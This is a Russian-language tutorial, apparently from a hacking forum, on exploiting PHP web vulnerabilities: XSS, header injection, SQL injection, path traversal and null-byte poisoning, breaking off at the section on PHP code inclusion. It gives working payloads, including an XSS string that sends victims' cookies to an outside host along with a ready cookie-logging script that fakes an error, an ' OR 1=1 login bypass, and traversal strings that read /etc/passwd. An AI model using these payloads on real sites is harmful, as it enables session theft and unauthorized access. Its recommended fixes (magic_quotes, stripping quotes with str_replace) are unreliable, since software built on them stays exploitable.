В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о:
1) XSS aka CSS aka Cross Site Scripting
2) SQL-injection
3) including
4) null-byte poison
5) PHP-including
6) Remote Command Execution в open() в Perl-скриптах
Начнем с самых "безобидных" и закончим критическими уязвимостями.
I. Cross Site Scripting.
Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php
echo "<h1>Hello, ".$_GET['name']."</h1>";
Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам
Попробуем вызвать его следующим образом:
xss.php?name=lamo</h1><script language='JavaScript'>alert(document.cookie);</script><h1>
Скрипт послушно вставит значение параметра name в страницу и вот что выйдет:
<h1>Hello, lamo</h1><script language='JavaScript'>alert(document.cookie);</script><h1>
Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого:
xss.php?name=lamo</h1><script language='JavaScript'>window.top.location.href='http://www.mysite.com/cookiestealer.php?"+document.cookie;</script>
А сам cookiestealer.php должен быть примерно слудующий:
$cookies=$_ENV['QUERY_STRING'];
$f=fopen("cookies.log", "a+") or exit;
fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n");
fclose($f);
echo "Фатальная ошибка 56";
Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке
Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header()
Пример бажного скрипта:
Code:
<?
header("Content-type: text/".$_GET['type']);
echo "BlaBlaBla";
?>
Вызов:
header.php?type=html%0d%0a%0d%0a<script>alert();</script>
Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость.
II. SQL-injection
Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита:
пусть есть скрипт авторизации:
Code:
<?
$host = "localhost";
$user = "root";
$password = "";
$db = "test";
if(@mysql_connect($host, $user, $password))
{
if(!mysql_select_db($db))
echo "Cannot select database $db";
}
else
echo "Cannot connect to $host, username $user";
if(isset($_POST['go']))
{
$r=mysql_query("select * from users where login='".$_POST['login']."' and password='".$_POST['password']."'");
if(mysql_num_rows($r)==0)
echo "Access denied";
else echo "Access granted";
}
else
{
?>
<form method=post>
Login: <input type=text name=login><br>
Password: <input type=password name=password><br>
<input type=submit name=go value='Log in'><br>
</form>
<? } ?>
(структура таблицы users: (id int not null primary key auto_increment, login varchar(255), password varchar(255) )
Вроде все как надо - если пасс и логин верные - разрешен вход, иначе запрещен. Но попробуем написать в форме login - root, password - ' OR 1=1/*
Нам будет разрешен доступ (если юзер root, конечно, существует). Назберемся, почему. Попробуем составить запрос, который отправляется в БД:
select * from users where login='root' and password=' [' OR 1=1/*] '
В квадратные скобки я взял введенный пароль. Итак, запрос сводится к:
select * from users where login='root' and password='' OR 1=1/*'
Как видим, получили совсем не то, что ожидали. Т.к. условие (password='' OR 1=1) всегда истинно, то нас всегда будут пускать, независимо от пароля root'а.
Для устранения данной "дыры" следует либо включить директиву magic_quotes_gpc (сделать ее равной On) в файле php.ini, либо, если нет такой возможности, добавить следущие строки после if(isset($_POST['go'])){ :
Code:
$_POST['login']=str_replace("'", "", $_POST['login']);
$_POST['login']=str_replace("\"", "", $_POST['login']);
$_POST['password']=str_replace("'", "", $_POST['password']);
$_POST['password']=str_replace("\"", "", $_POST['password']);
III. Including
Эта уязвимость существует из-за нефильтрования скриптом параметров,
переданных в процедуру открытия файла. Пример:
Code:
<?
if(isset($_GET['module']))
include("modules/".$_GET['module']);
?>
Тут мы
подключаем модуль из каталога modules. Но кто сказал, что именно из этого
каталога? Попробуем вызвать сценарий так:
including.php?module=../../../../../../../../etc/passwd
Файл будет выведен. Разберемся, что произошло. Мы подключали вроде скрипт из каталога modules, а реальный путь оказался таким:
modules/../../../../../../../../etc/passwd , что равносильно /etc/passwd.
Таким образом, атакующий может читать файлы в системе (естественно, если у демона httpd хватит привиллегий на чтение).
Защита от такой напасти - та же функция str_replace(), которой можно "вырезать" символы /
IV. null-byte poison
Данная уязвимость не используется отдельно, а чаше вместе с другими - including и sql-injection. Поясню в чем тут дело. А дело в том, что интерпретатор языка php написан на C, а в С нулевой байт (символ с кодом 0 - \0) считается ограничителем строки. Для примера возьмем все тот же сценарий из инклудинга и слегка модифицируем его:
Code:
<?
if(isset($_GET['module']))
include("modules/".$_GET['module'].".php");
?>
Он теперь добавляет в конец пути расширение - .php
Т.е. вариант ../../../../../../etc/passwd не прокатит - он будет искать /etc/passwd.php, а не /etc/passwd. Но мы не отчаиваемся и вспоминаем, что байт %00 ограничивает строку, таким образом, у нас есть возможность ее "обрезать" после имени файла и убрать расширение .php
Смотрим: including.php?module=../../../../../../etc/passwd%00
Voila! Все прекрано работает и мы видим содержимое /etc/passwd.
Замечание: при включенной директиве magic_quotes_gpc ничего работать не будет - php добавит \ перед 0-байтом и выйдет вот что:
Цитата:
Warning: main(modules/../../../../../../etc/passwd\0.php) [function.main]: failed to open stream: No such file or directory in /home/great/www/including.php on line 3
Warning: main() [function.include]: Failed opening 'modules/../../../../../../etc/passwd\0.php' for inclusion (include_path='.') in /home/great/www/including.php on line 3
[/qoute]
Тут возможна только xss, а инклудинг идет лесом
V. PHP-including
Включение своего php-кода при использовании eval() и подобных ей.
Пример:
[i]Code: